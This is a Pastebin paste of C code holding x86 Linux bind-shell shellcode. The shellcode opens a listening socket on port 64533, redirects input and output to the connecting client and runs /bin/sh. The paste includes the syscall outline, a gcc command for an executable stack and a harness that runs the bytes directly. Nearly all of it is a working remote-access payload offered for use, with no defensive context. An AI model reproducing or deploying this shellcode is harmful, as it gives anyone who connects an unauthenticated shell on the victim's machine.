emS-St1ks

bsd lix64 connect bypass up

Jun 23rd, 2012
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.57 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. /*
  5. 1     ###############################################################  1
  6. 0      St1ks and upgrade lukaaaseec team atm
  7. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  8.  
  9.  
  10.    
  11.     Name: bytes 64 linux console connect
  12.     Platform: Linux x86
  13.      
  14.     sock = socket(PF_INET, SOCK_STREAM, 0);
  15.     bind(sock, *[2, 64533, 0], 16);
  16.     listen(sock, 5);
  17.     nsock = accept(sock, 0, 0);
  18.     dup2(nsock, 0);
  19.     dup2(nsock, 1);
  20.     execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83
  21.  
  22.     gcc -Wl,-z,execstack filename.c
  23.  
  24.     shellcode:
  25.  
  26. \x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
  27.  
  28. */
  29.  
  30.  
  31. int main(){
  32.     char shell[] =
  33. "\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
  34.     printf("by Magnefikko\n[email protected]\npromhyl.tk\n\nstrlen(shell)
  35. = %d\n", strlen(shell));
  36.     (*(void (*)()) shell)();
  37. }
Advertisement
Add Comment
Please, Sign In to add comment